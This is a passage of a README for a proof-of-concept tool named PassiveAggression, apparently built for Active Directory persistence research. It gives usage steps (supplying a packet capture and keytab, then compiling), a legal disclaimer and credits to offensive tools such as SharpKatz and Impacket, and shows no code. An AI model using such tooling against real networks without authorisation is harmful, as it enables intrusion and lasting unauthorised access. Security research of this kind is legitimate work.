4 |
5 | More PoCs and samples will be added in the coming weeks.
6 |
7 | ## How to use
8 | - Add reference to `.\NtApiDotNet\NtApiDotNet.dll`
9 | - Specify `pcapng` and `keytab` in `Program.cs`
10 | - Compile and profit
11 |
12 | Read our blog series for more information: https://www.huntandhackett.com/blog/how-to-achieve-eternal-persistence
13 |
14 |
15 | # Legal disclaimer
16 | Please make sure that you use __PassiveAggression__ in a responsible manner: assess whether there are any characteristics of the environment, or applicable (internal or external) laws, rules or regulations, that prevent you from using __PassiveAggression__.
17 | You remain solely responsible for any damage or consequences that might occur as a result of, or related to the use of __PassiveAggression__ or any of the information as included in this blogpost.
18 |
19 | # Credits
20 | Parts of the code in this repository have been inspired by the works of:
21 | - Sharpkatz: https://github.com/b4rtik/SharpKatz
22 | - Impacket: https://github.com/fortra/impacket
23 | - NtApiDotNet: https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/tree/main/NtApiDotNet
24 | - FuzzySec: https://github.com/FuzzySecurity
--------------------------------------------------------------------------------